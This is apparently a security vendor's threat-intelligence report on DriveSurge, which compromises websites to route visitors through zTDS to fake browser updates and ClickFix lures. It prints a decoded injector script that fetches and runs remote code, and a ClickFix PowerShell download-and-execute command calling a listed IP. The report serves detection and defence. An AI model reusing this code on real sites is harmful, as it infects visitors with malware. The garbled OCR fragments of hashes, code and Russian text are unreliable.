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Key Findings

o Silent Push Preemptive Cyber Defense Analysts recently observed several drive-by attack clusters developed by a
threat actor to automate malware delivery at scale. We named the primary driver behind an extensive surge in
ClickFix and FakeUpdates campaigns: DriveSurge.

« Current activity suggests DriveSurge operates as a specialized Initial Access Broker (IAB), using a Pay-Per-Install
(PPI) model to supply downstream threat actors with high-quality victim leads.

o DriveSurge has compromised thousands of websites that set zZTDS domains to traffic victims to ClickFix and
Fakeupdates websites.

o Our research uncovered a series of eight technical fingerprints that map DriveSurge’s malicious infrastructure.

Executive Summary

What makes DriveSurge notable isn’t just the volume of its activity; it's the sophistication of its infrastructure, the
breadth of its targets, and the fact that it has been operating largely undetected until now.

Its primary weapon is a technique known as a Traffic Distribution System (TDS), and it specifically uses an open-
source variant called zTDS, which has been in use since at least 2015, and is publicly available at ztds][.]Jinfo. Using
ZzTDS, DriveSurge hijacks thousands of legitimate, high-reputation websites and silently redirects visitors to malware,
unbeknownst to the sites’ owners or their visitors.

Based on our research, we suspect DriveSurge uses a Pay-Per-Install (PPI) model, where it is paid each time a
victim’s device is successfully infected, with those leads then sold downstream to other threat actors.
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How the Attacks Work

DriveSurge attacks are elegant in their deception. A user visits a legitimate website for a business, a professional
services firm, or a local organization that has secretly been compromised. Hidden malicious code, injected by
DriveSurge, runs in the background and routes the visitor through zTDS, which profiles the visitor and decides what to
serve them next.

From there, the victim typically encounters one of two scenarios:

FakeUpdates: A convincing browser update prompt appears, impersonating Google Chrome, Mozilla Firefox, Microsoft
Edge, Safari, Opera Browser, Brave Browser, Yandex Browser, Vivaldi, Samsung Internet, UC Browser, or an “Other”
category browser, urging the user to download what is actually malware disguised as a legitimate browser update.

In one analyzed instance on the compromised site jelforwarding[.Jcom, the malicious domain check/.[first-
node][.Jrocks served a fake Mozilla Firefox update page. Clicking the update button triggered the download of a ZIP file
containing several DLLs and a “Browser Update[.]Jexe”.

ClickFix: A fake error message instructs the user to copy and paste a “fix” into their terminal or PowerShell window.
The “fix” is a malicious command that installs malware directly onto their system. In one confirmed instance, ClickFix
was observed attempting to pull malicious code from IP 91.92.240[.]127, an address already listed in our Bulletproof

Hosting Indicators of Future Attack® (IOFA) feeds before this discovery.

Both methods are designed to exploit trust in a website the user is familiar with, in a browser they use every day, in a
security prompt that looks entirely routine.

Research Methodology and Initial Intelligence

Our research into DriveSurge began by leveraging intelligence from our Bulletproof Hosting White Paper, which
identifies NiceNIC as a registrar frequently utilized by malicious actors. By hunting for instances where NiceNIC-
registered domains were loaded externally into other websites, using our proprietary web resource technology, we
successfully uncovered multiple large-scale threat clusters, including DriveSurge.

In February 2026, we tested this methodology by collecting all NiceNIC domains from our IOFA feed and checking
whether any had been externally loaded onto another website in the prior month. The script processed 100,000
domains per run and returned a JSON output of web resource results for analysis. From this, we identified at least 10
distinct threat clusters.

The rest of this blog describes the eight fingerprints we developed, the follow-on analysis, and the findings from our
investigation of the DriveSurge cluster.

Note: This same methodology can be applied beyond NiceNIC by searching for any domains loaded externally from
specific bulletproof hosters’ ASNs.

Eight Fingerprints: Mapping DriveSurge’s Infrastructure

Fingerprint 1: Malicious Inject (t.js Pattern)

In the initial web resources data, we identified several external resources injecting a JavaScript file following a unique
pattern: a fileparameter starting with site=[32 hexadecimal character string] with the filename t.js, externally
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loaded relative to the compromised hostname.
For example: hxxps[:1//beacontrace[.]bond/t.js?site=0ca424475803a1ch54908a81a00bd93f

The 32-character hexadecimal string is believed to be a unique identifier for each victim website, telling the attacker’s
server exactly which site the stolen data is coming from. This fingerprint enabled us to compile lists of malicious
DriveSurge domains and the corresponding victim websites.

Web Search fileparameter + filename + external query link
datasource = ["webresources"] AND fileparameter ~= ""“site=[0-9a-f]{32}$" AND filename = "t.js" AND

external = "true"

Web Search sh TotalView  Lookup PADNS @0 m v

Simple Search Saved Recent Examples Help

Query

datasource = ["webresources”] AND fileparameter ~= "Asite=[8-9a-f]{32}$" AND filename = "t.js" AND external = "true" ®

Sort order

scan_date/desc x

Total Resuits: 12,817 Results on current page: 100

hostname filename

a a

Web Search fileparameter + filename + external query results

Fingerprint 2: Malicious Inject (SHA256-derived filename)

While reviewing domains revealed in Fingerprint 1, we noticed they were also serving JavaScript files using a different
pattern: filename starts with t., followed by a 12-hexadecimal string, ending with . js, externally loaded.

We discovered that the 12 hexadecimal characters matched the first 12 characters of the file’s SHA256 hash, a file-
naming convention we had not previously encountered, suggesting the threat actor intentionally integrated this logic
into their obfuscation. We are extending our investigation to determine if this unique signature identifies additional
related threat clusters.

Web Search filename + external query link
datasource = ["webresources"] AND filename ~= "~t\.[a-f0-9]{12}\.js$" AND external = "true"
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Web Search ® Q

Simple Search Saved Recent Examples

Query

datasource - [“webresources™] AND filename ~- “~t\.[a-f@-9]{12}\.js$~ AND external - “true”

Sort order

scan_datejdesc

Total Results: 10,209 Resuits on current page: 100

hostname resource_domain

Web Search filename + external query results

Fingerprint 3: Malicious Inject (ext-b Pattern)

A third file pattern emerged from the Fingerprint 1 domains: filename starting with ext-b or ext, followed by the first 12
characters of the file’s SHA256 (as in Fingerprint 2), ending with . js, externally loaded. As with the previous
fingerprints, this yielded additional lists of malicious DriveSurge domains and victim websites.

Web Search query link
datasource = ["webresources"] AND filename ~= "“ext(-b)?\.[a-f0-9]{12}\.js$" AND external = "true"
Web Search @ 0

Simple Search Saved Recent Examples

Query

datasource = ["webresources™] AND filename ~= “fext(-b)2\.[a-f@-9]{12}\.js$" AND external = "true"

®

Sort order

scan_datefdesc

Total Results: 9,982 Results on current page: 100

L resource_domain

Web Search query results
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Fingerprint 4: Malicious Server Configuration

By analyzing results from the first three fingerprints, we identified a pattern that enables us to fingerprint malicious
server configurations directly, without relying on filename structure.

Web Search query link

datasource = ["webscan"] AND HHV = "809360090d06400845c9eel802" AND header.server = "nginx/1.27.2"
AND jarm = "15d3fd16d29d29d00042d43d000000ea552d307cdd65a9a94fec1293390a04" AND htmltitle = "404 Not
Found" AND body analysis.body sha256 =
["29ac78c51bcdfe68c64830bdeb6e41437dd55€2691149741c9b78bed3b6c82ea",
"a84b032b49773c2318b11b1164d1laada69e940229%9aedbf8185c33fc7dd1d2cdf" ]

Web Search Se sh Lookup PADNS ® 0 m -

simple Search Saved Recent Examples  Help

Query

datasource = ["webscan"] AND HHV - "889360090d06400845c9e¢e1802" AND header.server = "nginx/1.27.2" AND jarm = "15d3fd16d29d29d68042d43d0000A0ea552d307 cdd65a9a94fec1293390a04™ AND himltd @

Total Results: 241 Results on current page: 100

L] scan_date

Web Search query results

Fingerprint 5: Domain Search (Infrastructure Pattern)

After reviewing all malicious DriveSurge domains from the first four fingerprints, we identified a consistent infrastructure
setup pattern across the majority of them:

Field Value

Top Level Domain (TLD) .icu

Name Server Name ns1.erans[.Jru
MX Name self (self-named)
ASnum 203273, 210644
Registrar NiceNIC

Using our Domain Search capability (available exclusively for enterprise customers), we crafted this pattern into a
search that identified 90 hostnames, 39 of which were unique after removing subdomains. Of those 39 domains, 7
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were not yet delivering malicious injects as of this writing (May 2026), representing pre-weaponized infrastructure we
were able to identify and flag in advance:

 brightsonl.]icu
¢ coverlink][.]Jicu
o datumprobel.]Jicu
e eraggifts[.]icu
o keyviewl[.]icu
 traceglimpsel.]icu
o tracekey[.Jicu

All other domains found in this search were also discoverable via Fingerprints 1, 2, or 3.

Fingerprint 6: WHOIS (Registration Email Pivot)

Checking all 82 unique malicious inject domains in our WHOIS datasource, we found several registered with the email
address thiagoriveral97151[@]lycyfugihih[.]1cfd. A new fingerprint built on this email identified 6 additional

domains not previously seen, and will help track future DriveSurge domains not yet set up for malicious inject, making it
ideal for detecting TTP drift.

Web Search query link

datasource = "whois" AND email = "thiagoriveral97151@ycyfugihih.cfd"

Web Search

Simple Search

"whois™ AND ewail = "thiagoriveral97151@ycyfugihih.cfd"

O omuy Total Results: 19 Results:

‘scan_date comain

a a

a

a

a

a

a

We believe this is a dedicated DriveSurge registration email, with the first domain registered on April 8, 2026. Pivoting
on the domain ycyfugihih[.]1cfd (seen in the email address) reveals MX records pointing to tempmail[.Jso, a
temporary email service provider that also offers long-term mailbox use for registered accounts.
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'

A(B) AMAA(H) CNAME(D) NS SOA() TXT(0) Wideard (0)

Total Results: 3 Results on current page: 3

Query ASN 7 Answer Answer ASN 7 First Seen ¥ Last Seen

2025121221939 2026-04-23 19-29:08

2025112122939 2026-04-23 19:29:08

2025-11-21221939 2026-04-23 9:29:08

The domain revealed MX records pointing to tempmaill[.Jso

Since DriveSurge registered domains using this email over a two-week period, we believe they established a long-term
account, meaning they likely have additional email addresses set up with tempmail[.]Jso.

mpmail.so

Want to Save Email for Long-Term Use? X

Log in to securely save your temporary email and messages. Keep them accessible whenever you need, and unlock
additional features for a better experience!

— Save Email for Long-Term Use
Email Forwarding
Custom Domain
Unlimited Mailboxes
More Mailbox Domain

Statistical data reports

Manage multiple mailboxes

Mail address QR code

X X X X X X X X X
N N S e N

Undetectable Temporary Email

Login / Signup for Free

Temporary email service provider tempmail[.Jso provides long-term use services

Analysis of Compromised Websites Serving Fake Updates

With several fingerprints now uncovering hundreds of compromised sites, we took a closer look at one compromised
domain — jelforwarding[.Jcom — to discover additional infrastructure. We queried to filter out obvious legitimate
external resources and surface suspicious domains:

Web Search query link

datasource = ["webresources"] AND external = "true" AND hostname = "jclforwarding.com" AND
resource _domain != "google.com" AND resource domain != "googleapis.com" AND resource domain !=
"wsimg.com" AND resource domain != "gstatic.com" AND datahash =

"428bd0b0ac36dfdd223b3953dbe61cObaf227f893310b03e7afe3111462019¢c6"
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Web Search Se ® 0 m v

Simple Search Saved Recent Examples  Help

Query

wrce_domain != “"googleapis.com™ AND resource_domain !'= "wsimg.com" AND resource_domain != “gstatic.com™ AND datahash = "428bd@bBac36dfdd223b3953dbe61cBbaf227893310b83e7afe3111462019c6™ @

Sort order

scan date/desc

TotalResults: T7  Results on current page: 7

hostname filename

Web Search query results

This revealed several suspicious domains being loaded into the site, some matching existing fingerprints
(webgleam].]Jinfo) and others that warranted further investigation:

. check[.Ifirst-node[.]Jrocks
. cptoptious[.]Jcom

. webgleam[.]info

. banerpanel[.]live

. testio[.]Jecartdev[.Jcom

. maxintora[.Jcom

D o~ WN -

Fingerprint 7: WHOIS (Second Email Pivot)

Checking the new domains in the WHOIS datasource quickly revealed another threat actor email address. Using this
as a new fingerprint yielded several more malicious domains:

Web Search query link

datasource = "whois" AND email = ["samuel jordanl6@flixtrend.net"]

Web Search

Simple Search

Query

datasource = "whois” AND email - ["samuel_jordan16@flixtrend.net”]

scan_datefdesc

Total Results: 2 urrent page: 2

domain

a
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Mozilla Firefox Fake Update Plus 11 Other Browsers

The Mozilla Firefox fake update page triggered on jclforwarding[.Jcom was being served through check].]first-

node[.Jrocks.

The update button triggered the download of a ZIP file (SHA256:

90aecb370dfbla99alf7de®adc6842ablb664521fddealbbOec9a91f322646fc) containing several DLLs and a “Browser

Update[.]exe”.

o8 jetforwarding.com

L 2

Update Mozilla Firefox

Screenshot of the Mozilla Firefox Update page triggered on

Archive Edit View Help
[ +] [h Open = B Extract [+] [+]
[ | Location:
Name Size
B uxtheme.dll 27.1kB

B concrt140.du 802.8 kB
B vcruntime140.dil 802.8 kB
B msvepi40.dil 802.8 kB
B Browser Update.exe 26 MB

the compromised site

Firefox Updater(1).zip

Type Date Modified
Windows or... 25March 2026, 14:12
Windows or... :

Windows or... :

Windows or... :

Windows or... 29 May 2023, 16:04

Screenshot of the ZIP file downloaded by the update

Deeper analysis of the script. js file injected by check[.]first-node[.Jrocks revealed that while it served the Firefox fake
update in our environment, it can impersonate 11 browsers: Google Chrome, Mozilla Firefox, Microsoft Edge, Safari,
Opera Browser, Brave Browser, Yandex Browser, Vivaldi, Samsung Internet, and UC Browser, plus an “Other”

category.
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eck.first-node.

ix tHeader ("Content-Type", "application/j
ument . referrer| ", screen:screen.widths"x"+screen. h

api/dl/ "+ IComponent (fnam ent. e f le.dis iment . body . Child(a);a.click();}

function skip! ;if
function css( R tContent=s;document . head. appendChild(

frames bus{from
] shadow:0 4px 24px rgba(0,0,0,.12),0 1px 4px 0 Flow:hidden} '+

this. par 3 i gs 9 . >Update '+nmlbrl+'</hd><p>A critical security update is available for your brows
tton cla bs| diy

{dL(dWrl,kid, diName); };
inction() {skip (kid,d); };

e}} '+
ilter:blur (2px); font - fami F+';animation:buF .25s}'+

4
.bh h3{font
.bh p{fant

b .bn{padd

Screenshot of the malicious domain check[.Jfirst-node[.Jrocks

In the screenshot below, we can trigger a server response that highlights the server’s capabilities and what it tracks
when a page visitor visits the malicious hostname. We were able to download the file, which we then uploaded to
VirusTotal and now share (below):

heck first-node.ro

Screenshot of checkl.[first-node[.Jrocks

zTDS — Traffic Distribution System

The domain cptoptious[.Jcom, also loaded into jedlforwarding[.Jcom was confirmed to be serving zTDS version
1.0.3.
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Live Scan maxintora.com

Simple Scan
URL

https;//cptoptious.com/admin php

Results

Highlights

Authorization e L hitps;fcptoptious com/admin php
Favicon HTML Title URL:  hitps;/cptoptious.com/admin php

= Risk reason: Listing Score
2TDS v.1.0.3

Part of source(s)
—

Screenshot of Live Scan results for domain cptoptious|[.Jcom

Risk reason: Listing Score

ASN Information:

By scanning the infrastructure with a wordlist, we discovered a publicly accessible changelog. txt file confirming that

this TDS has existed since at least 2015 and is available at ztds].Jinfo.

Fnasxan

Pacnpesenenme Tpachka N0 Ipynnam 1 NOToKaM.
Punstpauyna Tpatbika no

- IF;

= TUNy YCTPOICTBA (KOMNBIATER, NNAHILET, MOBHABHbI TeNedoH)
= MobGunbHOMY OnepaTopy;

= CTpaHe,

= ropoay:

® KO4Y PernoHa;

» ASN;

= HassaHuio opraHm3auym

Yacosomy nosicy;

Ha3BaHNI0 OPraHU3aLN
» Hassanio u Bepcnn OS;
HA3BaHWI0 W Bepcun Gpaysepa
A3bIKy Gpay3epa;

HANMUMIO B UA;

* HanuuMio B pedepepe;
HAMUHIO B KNKOUEBOM CNIDBE;

» HaNMuKIo B GET nepemMeHHol;
= BOMEHHOMY MMEHM;

= METKaM B KNKMEBbIX CNOBAX (ANA KaXA0 TaGNETkM CBOA CTPAHMUA NNATHAKA),
OTcenBaHue

= Gotos;

= MOCETUTENEI C NYCTRIM pediepepom;

= noceTUTENE ¢ NYCThiM UA;

& ANCETUTENBI ¢ IVETHIM G3RENM ANAVIANA

Screenshot of ztds].Jinfo (in Russian)

Cuctema pacnpegeneHus Tpacuka (TDS)

V105
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18.03.2025 || v.1.0.3

Oo6aBneH ¢unbTp No Hanuyuw B GET nepeMeHHOi
CoxpaHeHue MNpodUTHLIX KMOYEBLIX CIOB

Oo6aBneH ¢unbTp Remote check B Filters

Tun peguvpeKkTa Eval

Apantauua nog PHP 8.3

06.11.2024 || v.1.0.2

CTaTUCTUKa 3a yKa3aHHLA nepuop

Fpadpuk npoduTa B rpynnax, notokax v obwenW cTaTUCTUKE
YHUKanbLHOCTL B NOTOKax

NaMeHeHo API

10.09.2024 || v.1.0.1
Oo6aeneH ¢unbTp IPV6
NcnpaeneHa owubka B pexume paboTel Javascript

OobaeneHa nposepka URL M3 ayToB
CTaTMCTUKa No CTpaHaM 3a YyKa3aHHbld nepwop
Oo6aBneH Makpoc [GET]

17.02.2024 || v.1.0.0

Oo6aBneH ¢unbLTp ya.ru B api.php
OononHUTENbHLIE BapUaHThl BXOQHbLIX CCLUIOK
Oo6aeneHsl Makpockl [ID], [GROUP], [STREAM]
CopTMpoBKa B norax no Page

YepHbIA CMUCOK OpraHu3auuu

FocTteBon poctyn

11.12.2023 || v.8.9.9

OobaeneH HOBBIM MCTOYHWMK IP GoToB

ApToo6HOBNEHWE cnUCKoB ASN

Bnokupoeka npepocMoTpa Chrome B api.php

[lo6aBneHa BO3MOKHOCTb YKa3aTb Heckonbko ¢ainos B "Ecnu IP ectb B cnucke"
Oo6aBneH makpoc [GETFILECONTENT-(out.dat)]

We were able to summarize the capabilities of zTDS by translating (via Google Translate) the changelog information:

. ‘Added database/blacklist_asn.dat to block unwanted ASNs.’

. ‘Added database/blacklist_ip.dat to block unwanted IPs.’

. ‘Added database/signature_ref.dat to block traffic by referrer.’

. ‘Bot signatures moved to database/signature_ua.txt.’

. ‘Update bot IP lists from ztds[.]info.’

. ‘Manage api_v2.php settings from the TDS admin panel.’

. ‘Mobile operator IPs merged into one file: wap[.]txt.’

. ‘Captcha settings moved to config.php.

. ‘Visitor IP check in IPGrabber database (hxxp://bseolized[.]Jcom).’

© 00 N O OB~ WDN -

Fingerprint 8: Server Configuration (zTDS)

We fingerprinted the specific zZTDS setup, and the results confirmed the threat actor has been using the same IP
address since September 13, 2025, which is not surprising, as it is also labeled as a Bulletproof Hosting IOFA.

Web Search query link
datasource = ["webscan"] AND HHV = "48e9c3576c466132e2080ce519" AND jarm =
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https://explore.silentpush.com/web-search?query=datasource%20%3D%20%5B%22webscan%22%5D%20AND%20HHV%20%3D%20%2248e9c3576c466132e2080ce519%22%20AND%20jarm%20%3D%20%2215d3fd16d29d29d00042d43d000000fe02290512647416dcf0a400ccbc0b6b%22%20AND%20header.server%20%3D%20%22nginx%22%20AND%20body_analysis.body_sha256%20%3D%20%220c62c11e910d7c0d6b6c9800b70e78bfd9220e1f78bd7bb34ae4c3646d05f6e5%22&sorting=scan_date%2Fdesc

"15d3fd16d29d29d00042d43d000000Te02290512647416dcf0ad400ccbcOb6b” AND header.server = "nginx" AND
body analysis.body sha256 = "0c62c11e910d7c0d6b6c9800b70e78bfd9220e1f78bd7bb34ae4c3646d05f6e5"

Web Search

1781653137 Total View Lookup PADNS @ o v v

Simple Search Saved Recent Examples Help

Query

Fd16d29d29d00042d43d000000fe02290512647416dcfBad0@ccbc@bbb™ AND header.server = "nginx™ AND body_analysis.body_sha256 = "8c62c11e910d7c8d6b6c9800b78e78bFfd9220e1f78bd7bb34ae4c3646d05f6e5™

®

Sort order

scan date/desc x

Total Resuits: 63 Results on current page: 63
L] scan_date

a a

Web Search query results

Fingerprint 8: Malicious Inject

We observed domains serving zTDS displayed a further unique trackable pattern: web resources with the filename
jsrepo and a fileparameter starting with rnd=:

This pattern has also been independently highlighted by recent Rapid7 research, which references the jsrepo pattern
alongside the malicious domain cptoptious[.Jcom.

Web Search query link

datasource = ["webresources"] AND filename = "jsrepo" AND fileparameter = "rnd=*"
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https://www.rapid7.com/blog/post/tr-malicious-websites-wordpress-compromise-advances-global-stealer-operation/
https://explore.silentpush.com/web-search?query=datasource%20%3D%20%5B%22webresources%22%5D%20AND%20filename%20%3D%20%22jsrepo%22%20AND%20fileparameter%20%3D%20%22rnd%3D*%22&sorting=scan_date%2Fdesc

Web Search nt Pus @ 0 m

Advanced Search Saved Recent Examples Help

Datasources * Select at least one of the datasources fo search. You can stack the Web Scan, and the Dark Web Search together to create a query.

Wb Search i Dark Web Search | | Full WHOIS Search

o o
Field Name Field Name
[ (o) fileparameter

Operator Value Operator Value

Equals jsrepo Starts ma-

Total Results: 13,993 Results on current page: 100

hostname resource_domain

Web Search web resources and filename and fileparameter query results

Obfuscation Used to Hide zTDS

We used the results from Fingerprint 8 to identify instances of this specific zZTDS usage and examine a compromised
website more closely. In this case, we examined one compromised site used by a medical professional (details
available to law enforcement) to see if we could identify any additional malicious infrastructure. While we know this
website is compromised, it is not readily apparent upon visiting, as seen in the screenshot below.

Further digging and inspection are required to find the zZTDS hidden with base64-encoded strings.
@ E Give Us a Call

Sat - Sun: Closed

Screenshot of the compromised site

After decoding this discovered JavaScript snippet, it reveals a malicious redirect and payload-injector via zZTDS that
targets non-administrative WordPress visitors. It uses obfuscation techniques, such as atob() decoding, a built-in
JavaScript function to decode Base64 encoding, and string concatenation to assemble URLs that fetch further
malicious scripts from remote domains.

The code includes a failover mechanism that cycles through multiple backup servers to ensure the payload is
successfully injected and executed in the victim’s browser. The full code can be found below, showing that the payload
creates the URL to inject zTDS with the jsrepo file.

// 1. Check if it already ran and ensure the user is NOT a WordPress administrator if
('window. performance optimizer v6 && (window. performance optimizer v6 = true,
I/wordpress _logged in /.test(document.cookie))) { // 2. Encoded malicious zTDS domains var urls = [
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"hxxps[://]newtdsone[.]lshop", // index O "/jsrepo?rnd=", // index 1 "hxxps[://]lcptoptious[.]com", //
index 2 "/jsrepo?rnd=", // index 3 "hxxps[://]lcaptioto[.]lcom" // index 4 ]; // Maps how to combine
the strings above var patterns = [[0, 1], [2, 3], [4, 3]1]; function loadPayload(index) { if (index
>= patterns.length) return; try { var fullUrl = ""; var sequence = patterns[index]; // Build the URL
from the array (e.g., hxxps[://]newtdsone[.]shop/jsrepo?rnd=) for (var k = 0; k < sequence.length;
k++) { fullUrl += atob(urls[sequence[k]]); } // Append a random number to bypass caching var
finalUrl = fullUrl + Math.random(); // 3. Synchronous Request to fetch malicious script var xhr =
new XMLHttpRequest(); xhr.open("GET", finalUrl, false); // 'false' makes it synchronous (freezes the
page) xhr.send(); if (xhr.status == 200) { // 4. Injected Execution var scriptElement =
document.createElement("script"); scriptElement.text = xhr.responseText;
document.head.appendChild(scriptElement); } else { // If one domain fails, try the next one
(Failover) loadPayload(index + 1); } } catch (error) { loadPayload(index + 1); } } loadPayload(0); }

ClickFix

Using a residential IP address in a safe Windows environment, we browsed to a victim website identified by the zZTDS
fingerprint and triggered ClickFix.

ClickFix is a social engineering tactic where compromised websites display fake browser or software update errors to
trick users into running malicious code. These overlays typically instruct the victim to copy and paste a “fix” into their
terminal or PowerShell window, which then installs malware directly onto their system.

v R uome LI

a (s * O Q&

I C O

Verify you are human by completing the action below.

y * Varntyng. CLOVDFLARE

tion Required

Run

Type the name of 3 program, felder, document, or Intemet
resource, and Windows will open i for you.

Open: [ pomershell -c ier(imm §1.62.240.127 -UseBasicPars gl

o] comce Browse...

Screenshot revealing ClickFix instance and malicious code with IP 91.92.240[.]127

This instance of ClickFix attempted to pull malicious code from IP 91.92.240[.]127, which is already listed in our
Bulletproof Hosting IOFA feeds.

The server returned an “Internal Error 500” at the time of our investigation, preventing further investigation of the lead.
The discovery nonetheless confirms that DriveSurge also actively uses ClickFix TTPs.

ADS: Advertisement Distribution System

While investigating domains loading externally into jelforwarding[.Jcom, we discovered banerpanell.Jlive serving
what appeared to be a casino slot machine advertisement.
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desktop_1769404734_c95/1 *

O 8 hitps://banerpanel.live/ug

PECIALBONUS

V|5|t our Casino and g get

$1oo ©$3, ooo

Screenshot of the casino slot machine ad

Triggering the panel login for banerpanell.Jlive at /admin/login[ . ]php reveals an ADS System with a Russian-
language interface, which we believe stands for “Advertisement Distribution System.”

Bxoa —Banner ADS System
HTML Title

Risk reason: NS Reputation Score &= Risk reason: ASN Takedown Reputation

ASN Information:
== CLOUDFLARENET. US (AS13335)

Screenshot revealing banerpanell.]live login

By solely pivoting on this domain in web resources, we found another unique string pattern loading the file banner-
js[.]1php into compromised sites.

Note: We did not create a new fingerprint for this pattern, as banerpanel[.]Jlive is currently the only domain serving this
string. As a result, a fingerprint would not likely yield any new intelligence.
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Web Search query link
datasource = ["webresources"] AND resource domain = "banerpanel.live"

Query

datasource = ["webresources”] AND resource_domain = "banerpanel.live™

Sort order

scan_date/desc

Total Results: 1584 Results on current page: 100

hostname resource_domain

https://banerpanel live/apifbanner
~js.php?

k=Iq6VUPVqQQSICATSqbWuTibU
WY2RKIU6&L-T7760535708v=1.0.6

a

Web Search query results for “banerpanel[.]live”

We analyzed the “banner-js[.]Jphp” script and found it to be a sophisticated banner management system designed to

serve advertisements while aggressively filtering out bot traffic.

The system collects device metadata, including screen resolution, hardware specs, and browser environment, to create
a unique fingerprint and verify human presence. By monitoring mouse movements, scrolls, and clicks, it calculates a

“trust score” and displays banners only after a user’s first authentic interaction.

The system manages ad frequency via local storage to prevent repetitive displays and sends detailed telemetry,
including behavioral metrics and an anti-forgery click hash, to a remote API for high-quality conversion tracking and

fraudulent click prevention.
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https://explore.silentpush.com/web-search?query=datasource%20%3D%20%5B%22webresources%22%5D%20AND%20resource_domain%20%3D%20%22banerpanel.live%22&sorting=scan_date%2Fdesc

<« c 25 https://banerpanel.live/api/banner-js.php?k=Jg6VUPVqQQ5rC4TSgbWulibUwy2RK1U68&1t=1776053570&v=1.0.6

(function(){

var s = "https://banerpanel.live”;

var _k = "1q6VUPVqQQ5rCATSqbWulibUwy2RK1UE" ;
304b7a90614e9b%6acAde3fc61bcIc7b";
alse; // human verified
; // mouse movements
@; // scroll count
@; // clicks count
Date.now(); // start time

function getDeviceInfo() {
var w = window.innerWidth || document.documentElement.clientWidth;
var h = window.innerHeight || document.documentElement.clientHeight;
var sw = screen.width;
var sh = screen.height;
var dp window.devicePixelRatio || 1;
var ua = navigator.userAgent.tolowerCase();
var isTouchDevice = ("ontouchstart” in window) || (navigator.maxTouchPoints > @);

// Onpenenenue Tuna ycTpoiicTea
v dheme = CEed T

// MobunbHsie TenedoHs

if (/iphone|ipod|android.*mobile|windows phone|blackberry|bb\d+|meego|webos|palm|symbian|opera mini|opera mobi|iemobile|mobile/i.test(ua)) {
deviceType = "mobile";

}

// Mnanwets

else if (/ipad|android(?!.*mobile)|tablet|kindle|playbook|silk|surface/i.test(ua) || (isTouchDevice 8& Math.min(sw, sh) > 608)) {
deviceType = "tablet"”;

}

// Mobunuhwii Gpaysep 6e3 ABHMX MPUSHAKOE HO MANEHLKWA SKpaH

else if (w <= 480 &% isTouchDevice) {
deviceType = "mobile™;

N

3

// MnanweT no pazmepy 3KpaHa

else if (w > 480 & w <= 1024 && isTouchDevice) {
deviceType = "tablet";

1
J

// Opueutauun
var orientation = w >= h ? "landscape"” : "portrait”;

Screenshot of banerpanell.]live

Payload and Development Server

During analysis of jedIforwarding[.Jcom, we identified another suspicious hostname: testio[.Jecartdev[.]Jcom. We
attempted to enumerate various file paths to see which were active and found insights into the /login.php, /includes,
and /assets pages.

Based on our analysis of these findings, as described in the following subsections, we believe the machine hosting
testio.ecartdev[.Jcom is a payload and development server.

Path /login.php

We triggered a login panel (shown below) by visiting login[.]Jphp after the hostname. By concealing the login panel on
a non-indexed path behind a deceptively blank root, the actor has intentionally tried to hide what is likely to be a
Command and Control (C2) panel.
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&’ AdvancedScan  3Dark Web Scan
Simple Scan
Results
Login

HTML Title dURL: hitps/ftestio.ecartdev.com/login php
d URL:  hitps;/ftestio_ecartdev.comyiogin.php

= a
- Risk reason: NS Reputation Score Risk reason: ASN Takedown Reputation

ASN Information:
™ FORTIS-AS Hosting services, RU (AS41745)

Path /includes

We also found filenames under the /includes path, but the files could not be downloaded. The names of the files,
however, offer us clues since they indicate that they provide the capabilities to obfuscate JavaScript files, which is
something that is done when the malicious JavaScript injects are served through the compromised website.

tps://testio.ecartdev.com/includs

Index of /includes

Name Last modified Size Description

& Parent Directory -

[?) Browser.php 2025-07-19 03:20 99K
[#) Cryptor.php 2025-07-20 01:53 1.0K
[?] DataEncoderphp ~ 2025-07-24 08:07 5.0K
(3 GeolP/ 2026-03-20 23:48 -
[?] JavaScriptPacker.php 2025-07-21 06:55 23K
[?] Obfuscator.php 2025-11-22 03:44 4.5K
[#] Template.php 2025-06-30 01:05 725

Path /assets

Under the /assets path, we found the folder /assets/snippets, which contains some interesting file and folder names.
This indicates that the server is likely purposed for storing malware payloads and server .html fronts to trick the victim.
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ecartdev.com

Index of /assets/snippets

Name Last modified Size Description

& Parent Directory -
3 cms/ 2026-03-22 19:21 -
3 droppers/ 2025-11-27 11:22 -
iframe-overlay.html 2025-11-21 10:45 483
page-loaderhtml  2025-12-22 06:48 1.1K
[?) simple-embed.js  2026-03-22 20:32 1.6K
trash.txt 2025-11-22 02:11 257

Apache/2.4.41 (Ubuntu) Server at testio.ecartdev.com Port 443

In further exploring the droppers folder in /assets/snippets, we found five more folders, each storing similar files.

Index of /assets/snippets/droppers

Name Last modified Size Description

3 Parent Directory
(£ terminal psl downloader/ 2025-11-27 11:22

() terminal psl_zip/ 2025-11-27 11:22
(3 winrun_cmd_curl/ 2025-11-27 11:22
([ winrun_ps1l_webclient/ 2025-11-27 11:22

Apache/2.4.41 (Ubuntu) Server at testio.ecartdev.com Port 443

In the example shown below, we dive deeper into the terminal_ps1_downloader folder, where we observe the
content.ps1 script, which, with minimal analysis, becomes clear that it is used to stage malware on the victim’s device.
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~IDownloads/content.ps1 - Mousepad

Name Last modified Size Desc

 Parent Directory -
[#) content.ps1 2025-11-28 13:35 1.5K
description.txt 2025-11-21 23:03 248

Apache/2.4.41 (Ubuntu) Server at testio.ecartdev.

("kernel32.d11")
ati ern tr GetConsoleWindow();

[DUlImport( "user32.d11")
ublic static Showilindow(IntPtr hiind, int nCmdS

[win32] : GetConsolewindow()
[1ntPtr] :: Zero)

Analyzing an Obfuscated Payload Leads to macOS Malware

Fingerprint 3 surfaces JavaScript files matching the pattern ext-b[12chars]. js. Further analysis of one such file
revealed heavy obfuscation.

https://primetrace.cfd/ext-b.8e

function _exlc7a(_@x1c773c,_@x54dcde){ 0x1c773c=_@x1c773c-8xlcl;var _Ox53bcfd=_@x53bc();var _exlc7ab3=_0x53bcfa[_ex1c773c];if(_exlc7al 'ngFlgd” undefined){var _@xc7aeea=functid
_ex221ad7="abcdefghijklmnopgrstuvwxyzABCDEFGHIIKLMNOPQRSTUVHXYZ@123456789+/=";var _@x4c74cf="", @x2f4837="";for(var _@xa3cbfl=0xe, 0x4f95f2, ex1f31ld, ex3f5ce8=0xe;_ ex1f311ld= exj
(_ex3f5ce8++);~_0x1f311d88&(_0x4fO5F2=_ Oxa3cbfl%ex4?_0x4fo5f2*exdd+ 8x1f311d: @x1f31ld, @xa3cbfl++%0x4)?_@x4c74cf+=String[ fromCharCode’](@xff& Ox4f95f2>>(-@x2*_Oxa3cbfl&ex6))
